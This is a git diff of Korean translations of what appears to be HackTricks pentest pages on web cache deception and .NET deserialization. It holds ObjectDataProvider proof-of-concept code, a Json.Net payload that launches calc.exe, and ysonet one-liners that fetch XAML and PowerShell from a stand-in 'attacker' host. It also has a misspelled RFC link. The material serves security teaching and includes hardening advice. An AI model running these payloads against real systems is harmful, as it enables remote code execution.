### 403 and Storage Buckets
|
||||
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 인증 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중지했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다.
|
||||
Cloudflare는 과거에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3나 Azure Storage Blobs에 접근을 시도하면 403 응답이 발생했고 그 응답이 캐시되곤 했습니다. Cloudflare는 403 응답 캐싱을 멈췄지만, 다른 프록시 서비스에서는 여전히 이 동작이 존재할 수 있습니다.
|
||||
|
||||
### 키가 있는 매개변수 주입
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
|
||||
캐시는 종종 특정 GET 파라미터를 캐시 키에 포함합니다. 예를 들어 Fastly의 Varnish는 요청의 `size` 파라미터를 캐시했습니다. 그러나 URL-encoded 된 버전의 파라미터(e.g., `siz%65`)를 잘못된 값과 함께 전송하면 캐시 키는 올바른 `size` 파라미터를 사용해 구성되는 반면, 백엔드는 URL-encoded 파라미터의 값을 처리했습니다. 두 번째 `size` 파라미터를 URL-encoding 하면 캐시에서는 생략되지만 백엔드에서는 사용되게 됩니다. 이 파라미터에 0 값을 할당하면 캐시 가능한 400 Bad Request 에러가 발생했습니다.
|
||||
|
||||
### 사용자 에이전트 규칙
|
||||
### User Agent Rules
|
||||
|
||||
일부 개발자는 서버 부하를 관리하기 위해 FFUF 또는 Nuclei와 같은 고트래픽 도구의 사용자 에이전트와 일치하는 요청을 차단합니다. 아이러니하게도, 이 접근 방식은 캐시 중독 및 DoS와 같은 취약점을 도입할 수 있습니다.
|
||||
일부 개발자는 FFUF나 Nuclei 같은 고트래픽 도구의 user-agent와 매칭되는 요청을 차단해 서버 부하를 관리합니다. 아이러니하게도 이런 접근은 cache poisoning 및 DoS와 같은 취약점을 도입할 수 있습니다.
|
||||
|
||||
### 불법 헤더 필드
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더(예: `\`)를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230)은 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위 밖의 문자를 포함한 헤더는 이상적으로는 400 Bad Request 응답을 유발해야 합니다. 하지만 실제로는 서버가 이 표준을 항상 따르지 않습니다. 주목할 만한 예로 Akamai는 유효하지 않은 문자가 포함된 헤더를 전달하고, `cache-control` 헤더가 없는 한 모든 400 에러를 캐시했습니다. 예를 들어 `\` 같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 에러가 발생하는 패턴이 확인되었습니다.
|
||||
|
||||
### 새로운 헤더 찾기
|
||||
### Finding new headers
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## 캐시 기만
|
||||
## Cache Deception
|
||||
|
||||
캐시 기만의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 로드하게 만드는 것입니다**.
|
||||
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
|
||||
|
||||
우선, **확장자**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장되도록 구성되어 있다는 점에 유의하십시오.** 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **확장자**를 인식하여 응답을 저장할 가능성이 높습니다. 그러나 **애플리케이션**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 내용을 재생하는 경우, 다른 사용자로부터 해당 내용을 **훔칠** 수 있습니다.
|
||||
우선 `.css`, `.js`, `.png` 등과 같은 확장자는 일반적으로 캐시에 저장되도록 구성되어 있다는 점에 주의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 해당 응답을 확장자를 보고 저장할 가능성이 큽니다. 하지만 애플리케이션이 _www.example.com/profile.php_에 저장된 민감한 사용자 콘텐츠로 응답하고 있다면, 다른 사용자의 그 콘텐츠를 훔칠 수 있습니다.
|
||||
|
||||
테스트할 다른 사항:
|
||||
다른 테스트 항목:
|
||||
|
||||
- _www.example.com/profile.php/.js_
|
||||
- _www.example.com/profile.php/.css_
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _덜 알려진 확장자 사용 예:_.avif
|
||||
- _Use lesser known extensions such as_ `.avif`
|
||||
|
||||
또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
|
||||
그런 다음 **공격자**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
|
||||
또 다른 명확한 예시는 이 보고서에서 볼 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
해당 예시에서는 _http://www.example.com/home.php/non-existent.css_ 처럼 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(사용자의 민감한 정보 포함)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명합니다.\
|
||||
그 후 공격자는 자신 브라우저에서 _http://www.example.com/home.php/non-existent.css_ 에 접근해 이전에 접근한 사용자들의 **기밀 정보**를 볼 수 있습니다.
|
||||
|
||||
**캐시 프록시**는 **파일의 확장자**(_css_)를 기반으로 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시하지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다 (이는 _.css_ 파일에 대해 예상되는 것입니다).
|
||||
캐시 프록시가 파일의 content-type이 아닌 파일의 확장자(_.css_)를 기준으로 파일을 캐시하도록 **configured** 되어 있어야 한다는 점에 유의하세요. 예시에서 _http://www.example.com/home.php/non-existent.css_ 는 `text/html` content-type을 가지며 `text/css` mime 타입이 아니게 됩니다.
|
||||
|
||||
여기에서 [HTTP 요청 스머글링을 악용한 캐시 기만 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보십시오.
|
||||
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## 자동 도구
|
||||
## 자동화 도구
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): URL 목록에서 웹 캐시 중독 취약점을 찾고 여러 주입 기술을 테스트하는 Golang 스캐너.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner로 URL 목록에서 web cache poisoning 취약점을 찾아 여러 주입 기법을 테스트합니다.
|
||||
|
||||
## 참고 문헌
|
||||
## References
|
||||
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
|
||||
@ -273,6 +292,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 인증 헤
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,37 +2,37 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. 이를 통해 RCE를 얻고 **Json.Net 및 xmlSerializer와 같은 직렬화 라이브러리가 어떻게 악용될 수 있는지** 설명합니다.
|
||||
이 글은 **ObjectDataProvider 가젯이 어떻게 악용되어 RCE를 얻는지**와 **Json.Net 및 xmlSerializer 직렬화 라이브러리가 해당 가젯과 함께 어떻게 남용될 수 있는지**를 이해하는 데 중점을 둡니다.
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\
|
||||
네, 이상한 설명이니, 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\
|
||||
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께 **함수를 실행**합니다.**
|
||||
문서에 따르면: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
음, 설명이 애매하니 이 클래스의 어떤 점이 흥미로운지 살펴봅시다: 이 클래스는 **임의의 object를 래핑(wrap)**하고, _**MethodParameters**_를 사용해 **임의의 파라미터를 설정**하며, 그 다음 **MethodName을 사용해 임의의 object에 선언된 임의의 함수를 호출**할 수 있게 해줍니다.\
|
||||
따라서, 역직렬화되는 동안 임의의 **object**가 **파라미터와 함께 함수**를 **실행**하게 됩니다.
|
||||
|
||||
### **이것이 어떻게 가능할까요**
|
||||
### **How is this possible**
|
||||
|
||||
**System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **PresentationFramework.dll** 내에서 정의되고 구현됩니다.
|
||||
이 클래스는 **PresentationFramework.dll**의 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **System.Windows.Data** 네임스페이스에 정의되어 구현되어 있습니다.
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드를 검사(inspect)**할 수 있습니다. 아래 이미지에서는 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
`MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 볼 수 있습니다. 이 함수가 무엇을 하는지 살펴보겠습니다:
|
||||
보시다시피 `MethodName`이 설정되면 `base.Refresh()`가 호출됩니다. 이것이 무엇을 하는지 살펴봅시다:
|
||||
|
||||
.png>)
|
||||
|
||||
좋습니다, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery`는 `ObjectDataProvider`에 의해 재정의되며, 다음과 같은 작업을 수행합니다:
|
||||
자, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 보겠습니다. `BeginQuery`는 `ObjectDataProvider`에서 재정의되며 다음과 같은 동작을 합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
코드 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
|
||||
코드의 끝에서 `this.QueryWorke(null)`를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 보겠습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
|
||||
이것이 `QueryWorker` 함수의 전체 코드는 아니지만 흥미로운 부분을 보여줍니다: 코드가 **`this.InvokeMethodOnInstance(out ex);`를 호출**하고 있으며, 이 라인이 **설정된 메서드가 호출되는** 부분입니다.
|
||||
|
||||
_**MethodName**_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행해 보세요:
|
||||
단순히 _**MethodName**_을 설정하는 것만으로 **해당 메서드가 실행되는지** 확인하고 싶다면, 다음 코드를 실행해 볼 수 있습니다:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
|
||||
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다**(예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
이전 익스플로잇을 사용할 때, **object**가 _**ObjectDataProvider**_ 인스턴스로 **deserialized as** 되는 경우가 있습니다 (예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체를 `GetType`으로 역직렬화한 경우). 그러면 _ObjectDataProvider_ 인스턴스 안에 래핑된 객체의 타입(예: `Process`)에 대해 **전혀 알지 못하게 됩니다**. DotNetNuke 취약점에 대한 자세한 내용은 [여기](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)에서 확인할 수 있습니다.
|
||||
|
||||
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
|
||||
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고, **역직렬화될** 때 이 클래스는 **_**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다.
|
||||
이 클래스는 특정 인스턴스에 캡슐화된 객체들의 타입을 s**지정할 수 있도록 합니다**. 따라서 이 클래스는 소스 객체 (_ObjectDataProvider_)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
|
||||
앞에서 제시한 경우와 같이 이 방법은 매우 유용합니다. 왜냐하면 우리는 **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ 인스턴스할 수 있고, **when deserialized** 되었을 때 이 클래스는 _**OjectDataProvider**_ 객체를 **create** 하여 _**MethodName**_에 지정된 **function**을 **execute** 하기 때문입니다.
|
||||
|
||||
다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
|
||||
You can check this wrapper with the following code:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다.
|
||||
[official web page](https://www.newtonsoft.com/json)에 따르면 이 라이브러리는 **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**를 지원한다고 명시되어 있다. 따라서 우리가 **deserialize the ObjectDataProvider gadget**할 수 있다면, 단순히 객체를 deserializing 하는 것만으로도 **RCE**를 일으킬 수 있다.
|
||||
|
||||
### Json.Net 예제
|
||||
|
||||
우선 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다:
|
||||
먼저 이 라이브러리를 사용해 객체를 **serialize/deserialize**하는 방법의 예제를 보자:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email);
|
||||
}
|
||||
}
|
||||
```
|
||||
### Json.Net 악용하기
|
||||
### Json.Net 악용
|
||||
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용하여 익스플로잇을 생성했습니다:
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용해 익스플로잇을 만들었다:
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
이 코드에서 **익스플로잇을 테스트할 수 있습니다**, 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:
|
||||
이 코드에서 **test the exploit**를 실행하면 calc가 실행되는 것을 확인할 수 있습니다:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## 고급 .NET 가젯 체인 (YSoNet & ysoserial.net)
|
||||
## 고급 .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
|
||||
위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 **안전하지 않은 .NET 역직렬화**를 수행할 때 악용될 수 있는 많은 가젯 체인 중 하나일 뿐입니다. **[YSoNet](https://github.com/irsdl/ysonet)** (그리고 이전의 [ysoserial.net](https://github.com/pwntester/ysoserial.net))와 같은 현대의 레드팀 도구는 수십 개의 가젯과 직렬화 형식에 대한 **사용 준비가 완료된 악성 객체 그래프** 생성을 자동화합니다.
|
||||
위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 **안전하지 않은 .NET deserialization**을 수행할 때 악용될 수 있는 수많은 gadget chains 중 하나일 뿐입니다. 현대의 red-team 도구들인 **[YSoNet](https://github.com/irsdl/ysonet)** (그리고 구버전 [ysoserial.net](https://github.com/pwntester/ysoserial.net))은 수십 가지 gadget과 여러 serialization 포맷에 대해 **즉시 사용 가능한 악성 객체 그래프**를 자동으로 생성합니다.
|
||||
|
||||
아래는 *YSoNet*과 함께 제공되는 가장 유용한 체인의 요약 참조와 그 작동 방식에 대한 간단한 설명 및 페이로드 생성을 위한 예제 명령입니다.
|
||||
아래는 *YSoNet*에 포함된 가장 유용한 체인들을 요약한 참고표로, 작동 방식에 대한 간단한 설명과 페이로드 생성 예시 명령을 함께 제공합니다.
|
||||
|
||||
| 가젯 체인 | 주요 아이디어 / 원시 | 일반 직렬화기 | YSoNet 원라이너 |
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 손상시켜, 일단 구체화되면 델리게이트가 *임의의* 공격자가 제공한 메서드(예: `Process.Start`)를 가리키도록 함 | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 유형 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**함 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`의 **구식 XML** 표현을 활용하여 `<ColumnMapping>` / `<DataType>` 필드를 채워 임의의 유형을 인스턴스화함 (선택적으로 `--spoofedAssembly`로 어셈블리를 위조) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF 지원 런타임에서 (> .NET 5) 속성 getter를 체인하여 `System.CodeDom.Compiler.CompilerResults`에 도달한 후, `-c`로 제공된 DLL을 *컴파일*하거나 *로드*함 | `Json.NET` 비유형, `MessagePack` 비유형 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (검토) | WPF `System.Windows.Data.ObjectDataProvider`를 사용하여 제어된 인수로 임의의 정적 메서드를 호출함. YSoNet은 악성 XAML을 원격으로 호스팅하기 위한 편리한 `--xamlurl` 변형을 추가함 | `BinaryFormatter`, `Json.NET`, `XAML`, *기타* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject`에 `ScriptBlock`을 포함시켜 PowerShell이 객체를 역직렬화할 때 실행됨 | PowerShell 원격, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 손상시켜, 실체화되었을 때 delegate가 공격자가 제공한 어떤 메서드(예: `Process.Start`)를 가리키도록 만듭니다. | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 타입 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**합니다. | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`의 **레거시 XML** 표현을 이용해 `<ColumnMapping>` / `<DataType>` 필드를 채워 임의 타입을 인스턴스화합니다(선택적으로 `--spoofedAssembly`로 어셈블리를 위조 가능). | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter들을 연쇄 호출해 `System.CodeDom.Compiler.CompilerResults`에 도달한 뒤, `-c`로 제공된 DLL을 *컴파일*하거나 *로딩*합니다. | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider`를 사용해 제어 가능한 인수로 임의의 정적 메서드를 호출합니다. YSoNet은 악성 XAML을 원격 호스팅하기 위한 편리한 `--xamlurl` 변형을 제공합니다. | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `ScriptBlock`을 `System.Management.Automation.PSObject`에 임베드하여 PowerShell이 객체를 deserialize할 때 실행되도록 합니다. | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> 모든 페이로드는 기본적으로 **stdout에 기록**되므로 다른 도구(예: ViewState 생성기, base64 인코더, HTTP 클라이언트)로 파이프하는 것이 간단합니다.
|
||||
> 모든 페이로드는 기본적으로 **stdout**으로 출력되므로, 이를 다른 도구(예: ViewState generators, base64 encoders, HTTP clients)로 파이프하기가 매우 간단합니다.
|
||||
|
||||
### YSoNet 빌드 / 설치
|
||||
|
||||
*Actions ➜ Artifacts* / *Releases* 아래에 미리 컴파일된 바이너리가 없는 경우, 다음 **PowerShell** 원라이너가 빌드 환경을 설정하고, 리포지토리를 클론하며, 모든 것을 *Release* 모드로 컴파일합니다:
|
||||
만약 *Actions ➜ Artifacts* / *Releases*에서 사전 컴파일된 바이너리를 사용할 수 없다면, 다음 **PowerShell** 원라이너는 빌드 환경을 설정하고 리포지토리를 클론한 다음 모든 것을 *Release* 모드로 컴파일합니다:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,17 +216,48 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
컴파일된 `ysonet.exe`는 `ysonet/bin/Release/` 아래에서 찾을 수 있습니다.
|
||||
컴파일된 `ysonet.exe`는 `ysonet/bin/Release/`에 있습니다.
|
||||
|
||||
### 탐지 및 강화
|
||||
* **예상치 못한** `w3wp.exe`, `PowerShell.exe`의 자식 프로세스 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스를 탐지합니다 (예: `MessagePack`, `Json.NET`).
|
||||
* 레거시 `BinaryFormatter` / `NetDataContractSerializer`를 제거할 수 없는 경우, 항상 **타입 필터링**(`TypeFilterLevel` = *Full*, 사용자 정의 `SurrogateSelector`, `SerializationBinder`, *기타*)을 활성화하고 **강제 적용**합니다.
|
||||
* 가능한 경우 **`System.Text.Json`** 또는 **`DataContractJsonSerializer`**로 마이그레이션하고 화이트리스트 기반 변환기를 사용합니다.
|
||||
* 절대 필요하지 않은 웹 프로세스에서 위험한 WPF 어셈블리(`PresentationFramework`, `System.Workflow.*`)의 로드를 차단합니다.
|
||||
* **Detect** `w3wp.exe`, `PowerShell.exe` 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스(e.g. `MessagePack`, `Json.NET`)의 예상치 못한 하위 프로세스를 감지합니다.
|
||||
* 레거시 `BinaryFormatter` / `NetDataContractSerializer`를 제거할 수 없는 경우에는 **type-filtering**을 활성화하고 강제 적용하세요 (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*).
|
||||
* 가능하면 화이트리스트 기반 컨버터를 사용하여 **`System.Text.Json`** 또는 **`DataContractJsonSerializer`**로 마이그레이션하세요.
|
||||
* 웹 프로세스에서 절대 필요하지 않은 경우 위험한 WPF 어셈블리(`PresentationFramework`, `System.Workflow.*`)가 로드되지 않도록 차단하세요.
|
||||
|
||||
## 참조
|
||||
## 실무 사례: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
|
||||
인증된 Sitecore XP Content Editor 흐름에서 접근 가능한 실무용 .NET sink:
|
||||
|
||||
